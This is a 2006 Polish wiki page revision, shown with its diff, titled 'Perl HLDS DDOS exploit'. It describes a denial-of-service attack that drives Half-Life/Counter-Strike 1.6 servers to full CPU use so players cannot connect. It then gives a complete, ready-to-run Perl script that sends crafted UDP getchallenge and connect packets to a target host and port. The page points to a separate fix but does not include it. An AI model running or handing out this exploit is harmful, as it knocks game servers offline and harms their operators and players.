Perl HLDS DDOS exploit
(Różnice między wersjami)
Linia 1: | Linia 1: | ||
− | DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. | + | DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Ppowinno działac na wszelkie serwery CS 1.6 ale myslę, że zadziała też na wszekie serwery [[HLDS]], ewentualnie nawet na [[SRCDS]], i to [[Steam]] czy [[NoSteam]]. Przydałoby się sprawdzić. |
[[Linux HLDS DDOS exploit fix]] - poprawka, na razie nie przetłumaczona z tego dzikiego języka. | [[Linux HLDS DDOS exploit fix]] - poprawka, na razie nie przetłumaczona z tego dzikiego języka. |
Wersja z 17:08, 25 cze 2006
DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Ppowinno działac na wszelkie serwery CS 1.6 ale myslę, że zadziała też na wszekie serwery HLDS, ewentualnie nawet na SRCDS, i to Steam czy NoSteam. Przydałoby się sprawdzić.
Linux HLDS DDOS exploit fix - poprawka, na razie nie przetłumaczona z tego dzikiego języka.
<protect groups="sysop">
#!/usr/bin/perl # modded version for port # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server use IO::Socket; die "usage: perl cs_exploit.pl <adress> <port>" unless $ARGV[0]; $host=$ARGV[0]; $port=$ARGV[1]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>$port,Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print "",'>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; }
</protect>